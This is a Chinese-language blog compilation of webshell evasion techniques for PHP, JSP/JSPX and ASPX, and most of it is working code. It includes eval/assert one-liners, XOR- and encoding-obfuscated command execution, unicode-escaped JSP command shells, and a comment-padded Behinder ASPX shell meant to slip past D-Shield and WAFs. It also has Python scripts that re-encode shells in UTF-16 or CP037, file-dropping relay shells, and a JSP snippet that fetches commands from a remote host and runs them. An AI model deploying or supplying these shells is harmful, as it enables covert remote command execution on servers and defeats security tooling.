被人玩烂了的东西,看了太多网上的文章了,自己趁最近有空写个总结吧
https://su18.org/post/EiNzuduRG/#5%E6%AD%A3%E5%88%99-e-%E6%A8%A1%E5%BC%8F
https://zeo.cool/2020/12/31/webshell%E5%A4%9A%E7%A7%8D%E6%96%B9%E6%B3%95%E5%85%8D%E6%9D%80/
污点绕过
https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652990938&idx=1&sn=458ea3b0ea978b17d7c494313e53a1fb&scene=21#wechat_redirect
https://mp.weixin.qq.com/s/MFmSliCQaaVEQ0E66vN5Xg
关键点,打乱污点传递
https://mp.weixin.qq.com/s/bLxljfaRHP66MJ7ghv0g1g
php
五种前缀
<?php phpinfo();?>
<script language='php'>phpinfo();</script>
<?=phpinfo()?>
<?phpinfo()?>
<%=phpinfo()%>
一句话
<?php @eval($_POST['hacker']); ?>
<?php assert($_REQUEST["pass"]);?>蚁剑连接需要编码一下,Cknife不用进行编码
最短一句话
<?=`$_GET[1]`;
引号的区别
php的单引号和双引号是有区别的
<?php
$a = '123';
$b = '$a';
$c = "$a";
echo $b;
echo '<br>';
echo $c;
?>
输出
$a
123
可以看出,单引号是原封不动的输出,而双引号则是会进行$的解析
常见的php特性
1、可变变量
<?php
$b = "assert";
$a = 'b';
$$a($_POST['hacker']);
?>
2、可变函数
@$_GET['a']($_GET['cmd']);
http://127.0.0.1/1.php?a=system&cmd=whoami
3、自写函数
<?php
function test($a){
$a($_POST['x']);
}
test(assert);
?>
ucwords() //函数把字符串中每个单词的首字符转换为大写
ucfirst() //函数把字符串中的首字符转换为大写
trim() //函数从字符串的两端删除空白字符和其他预定义字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //函数把字符串转换为大写
strtolower() //函数把字符串转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码
explode //把字符串大散为数组
特殊字符干扰
php支持 换行\r\n 、 \n 、 \r\n\t、tab 、null、注释符 、反引号
<?php
$c="NULL";
$s=
substr ("aabbccsystem".null,"0x6");
null.$s/*0*/(null.
$_GET/**/
['cmd'/*1*/]/*2*/);
?>
免杀D盾
<?php
$zeo='1';
$$zeo=$_POST['x'];
eval(NULL.``.$1);
?>
版本差异性绕语义WAF
https://learnku.com/articles/35800
https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html
如下代码在PHP5.3以上里,这是解析不了的,因为语法出错了
<?php
\echo `whoami`;?>
但是使用php5.2的版本,可以成功执行
16进制字符串
在php7中不认为是数字,php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行
<?php
$s=substr("aabbccsystem","0x6");
$s($_GET['cmd']);
?>
List正反向解析
php5反方向取值,Php7正方向取值
<?php
$info=array("dir","whoami");
list($a[0],$a[1])=$info;
SYSTEM(END($a))
?>
php 5 输出 执行dir
php 7 输出 执行whoami
方法不传参
<?php
function null($a,$b){
return 0;
}
$a=null();
$s=substr("system",$a);
$s($_GET['a']);
?>
//php5支持function不传参 php7的function必须传参
回车换行
AF绕7.3.4命令执行,其他的版本echo必须回车换行
<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>
Tips
usleep(50);
https://www.cnblogs.com/0xdd/p/12786407.html
科学计数法999e99999=0
<?php
$arr[0]='1';
$arr[99999e9999999]=$_GET[1];
@eval("".$arr[0]."");
echo $arr[0];
echo $arr[99999e9999999];
php的base64特性
YWE= ————》aa
Y—-W|@^^!@#$%^&*我我|E=)))(((————》aa
可得:Php针对一些特殊符号会将其忽略掉,并且能够成功转化为想要的base64字符串
XOR特性
git clone https://github.com/devploit/XORpasscd XORpass
$ python3 xorpass.py -h
进制转换array_map
https://c.runoob.com/front-end/58/
<?php
array_map(base_convert(27440799224,10,32),array(1))
?>
<?php
$a[0]="whoami";
array_map(base_convert(1751504350,10,36),$a);
?>
外部获取参数
<?php
$arr = get_defined_functions()['internal'];
//var_dump($arr);
$arr[457]($_GET['cmd']);
需要根据版本获取到属于那个版本对应的数组位置
assert异或免杀一句话
<? @("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);
?1=phpinfo()
尽量减少get和post
传参时不直接使用$_GET和$_POST,而是用$_REQUEST、$GLOBALS、$_SESSION、$_SERVER内的参数间接传值,确实能绕过很多检测
JSP
Tips
jsp的后缀可以兼容为jspx的代码,也兼容jspx的特性,如CDATA特性。
但是jspx后缀不兼容为jsp的代码,jspx只能用jspx的格式
EL表达式
<html>
<body>
${Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"))}
</body>
</html>
SOCKS
<%
Socket socket =new Socket();
socket.connect(new InetSocketAddress("1.1.1.1",8888);
InputStream inputStream=socket.getInputStream();
StringBuilder sb= new StringBuilder();
String line;
BufferedReader br =new BufferedReader(new InputStreamReader(inputStream));
while((line=br.readLine())!=null{
sb.append(line);
}
String str=sb.toString();
Runtime.getRuntime().exec(str);
%>
反射
<%
MethodHandle mh=lookup().findVirtual(Runtime.getRuntime().getClass(),"exec",methodType(Process.class,new Class[] {String.class}));
mh.invokeWithArguments(Runtime.getRuntime(),request.getParameter("cmd"));
%>
JSPWebshell前沿的免杀技巧
https://xz.aliyun.com/t/10507
https://xz.aliyun.com/t/7798
特性:
JSP支持Unicode转码和换行
Unicode格式为\u0053,且支持\uuuuuuuuuuuuuuu0053,也就是不论加几个u都可以,并且不支持大U,只支持小u
例如xyz可以表示成:
x\u0079\u007a
\u0078y\u007a
\u0078\u0079z
\u0078\u0079\u007A
\u0078\uuuu0079\uuu007a
\uuuuu0078\uu0079z
\uuuuuuuuu0078yz
uniocode转码工具
http://tool.chinaz.com/tools/unicode.aspx
JSP拼接特性
原: <%out. println(“hello”) %>
修改:<%out.%><% println(“hello”) %>
换行特性
java支持换行
哥斯拉免杀
JAVA的注释特性
如下所示,
public void testUnicode() {
String a = "Hello";
// \u000d a="world";
System.out.println(a);
// \u000a a="hello world!";
System.out.println(a);
}
输出world 和hello world
原因:java编译器会处理unicode字符,\u000d以及\u000a 正好对应“\r”回车、“\n”换行,经过编译器处理后,等效于下面的代码:
public void testUnicode() {
String a = "Hello";
//
a="world";
System.out.println(a);
//
a="hello world!";
System.out.println(a);
}
Java的base64特性
java YQ==Yg== ————》ab
php YQ==Yg== ————》乱码
特性就是可以进行拼接:
a(base64)+b(base6)=ab
jspx的xml语法支持实体化编码
如下所示,实体化编码不影响xml解析,可以全部进行实体化编码过waf
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="gb2312"/>
<jsp:directive.page import="java.io.*"/>
<html>
<head>
<title>jspx</title>
</head>
<body>
<jsp:scriptlet>
try {
String cmd = request.getParameter("shell");
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
} catch (IOException e) {
System.err.println(e);
}
</jsp:scriptlet>
</body>
</html>
</jsp:root>
jspx CDATA特性
在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如
String cmd = request.getPar<![CDATA[ameter]]>("shell");
JSPX里是支持将语法分开的
可以看到,将
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html;charset=UTF-8"
pageEncoding="UTF-8"/>
<jsp:scriptlet>
Runtime.getRuntime()
</jsp:scriptlet>
<jsp:scriptlet>
.exec(request.getParameter("test"));
</jsp:scriptlet>
</jsp:root>
对于实体化编码<和替换某些关键字的绕过
https://www.jianshu.com/p/c0c566de4e97
JSP编码特性
XML格式的
#python2
charset = "utf-8"
data = '''<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>'''.format(charset=charset)
f16be = open('utf-16be.jspx','wb')
f16be.write(data.replace('UTF-8','UTF-16be').encode('utf-16be'))
f16le = open('utf-16le.jspx','wb')
f16le.write(data.replace('UTF-8','UTF-16le').encode('utf-16le'))
fcp037 = open('cp037.jspx','wb')
fcp037.write(data.replace('UTF-8','CP037').encode('cp037'))
声明头部的方式来进行编码
普通的Jsp可使用如下格式免杀亲测成功
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
直接使用特殊字符的方式来声明编码法方式
经过测试这种方法似乎不能bypass
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')
f16be.write("\xfe\xff")
f16be.write(data.encode('utf-16be'))
jspx自定义头部
原:
现:
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:scriptlet>
out.println(30*30);
</hi:scriptlet>
</hi>
unicode abcd+// webshell解析
public class test {
public static void main(String[] args) throws Exception {
java.lang.Runtime.getRuntime().
//\u000d\uabcdexec("whoami");
}
}
java里报错
<%
Runtime.getRuntime().
//\u000d\uabcdexec("calc");
%>
JSP下成功
一个jspwebshell免杀项目
https://github.com/EmYiQing/JSPHorse
ASPX
0、\unicode
ASPX同样支持\unicode
如xyz使用工具会转成
\u0078\u0079\u007a
但是他还支持
\u0078y\u007a
\u0078\u0079z
\u0078\u0079\u007A
\U00000078\u0079z
\U00000078\u200c\u200d\u200d\U0000200d\u0079z
等等。。。
不同JSP的是,他仅支持对26个字母进行unicode编码
1、注释
此外,ASPX还支持/1212121/添加在函数之间进行混淆和
2、<% %>截断
ASPX支持使用多个<% %>来对语句进行拼接
3、空字符连接
\u200c \u200d \u200e \u200f
4、@符号
如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析
(Context.Session[“payload”] == null)
(@Context.@Session[“payload”] == null)
5、头部免杀
之前有遇到过检测该字段的<%@ Page Language=”C#” %>,这个是标识ASPX的一个字段,
针对该字段进行免杀%@Language=CSHARP% 之前修改为这样就过了
同样的,可以修改为
<%@ Page Language=”Jscript”%>
<%@Page Language=JS%>
<%@Page Language="JAVASCRIPT"%><%eval(Request.Item(0),"unsafe");%>
但是这个前缀放冰蝎马里就不行了
也可以将该字段放在后面,不一定要放前面等
冰蝎aspx免杀
<%@Language=CSHARP%>{;}<%@Import Namespace="/*qi*/System./*qi*/Reflection/*qi*/"%><%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/);{;}/*qi*/byte[/**/]/*qi*/k=/*qi*/Encoding./*qi*/Default./*qi*/GetBytes(Session[0/**/]+""),c/*qi*/=/*qi*/Request./*qi*/BinaryRead/*qi*/(Request./*qi*/ContentLength/*qi*/);{;}/*qi*/Assembly./*qi*/Load(new/*qi*/System./*qi*/Security/*qi*/.Cryptography./*qi*/RijndaelManaged/*qi*/(/*qi*/)./*qi*/CreateDecryptor/*qi*/(k/*qi*/, k/*qi*/)./*qi*/TransformFinalBlock/*qi*/(c, 0, c.Length))/*qi*/./*qi*/CreateInstance/*qi*/("U"/*qi*/)./*qi*/Equals/*qi*/(this/*qi*/)/*qi*/;{;}%>
6、字符编码格式转变
VSCODE 修改编码格式,如果Waf不支持编码UTF16编码的话,同样存在waf绕过的可能性
中转马
JSP中转马
<%
//写文件到当前目录下 与当前 jsp 同目录
String a=application.getRealPath(request.getServletPath())+"2.txt";
//当前 jsp 全路径 xx/xx.jsp2.txt
out.println(a);
String b=new String(new
sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c"))); //base64 内容
new java.io./**/FileOutputStream(a).write(b.getBytes());
%>
ASPX
<%@ page Language="Jscript" %>
<%
System.IO.File.WriteAllText(System.Web.HttpContext.Current.Server.MapPath("")+"\\1.txt",System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("YXNkYXNkc2Q=")));
%>
无%%的JSP马
example:http://127.0.0.1/shell.jsp?cmd=whoami
win:
<jsp:scriptlet> if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){ \u0050\u0072\u006f\u0063\u0065\u0073\u0073 p = \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063("cmd.exe /c " + \u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd")); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new java.io.DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035"); </jsp:scriptlet>
Linux:
<jsp:scriptlet> if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){ \u0050\u0072\u006f\u0063\u0065\u0073\u0073 p = \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd")); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream(); \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new java.io.DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035"); </jsp:scriptlet>
参考文章:
https://mp.weixin.qq.com/s/It_TxaorAKu_nwcCpyglCA
https://xz.aliyun.com/t/5152
https://xz.aliyun.com/t/5193
https://blog.csdn.net/weixin_50464560/article/details/120786013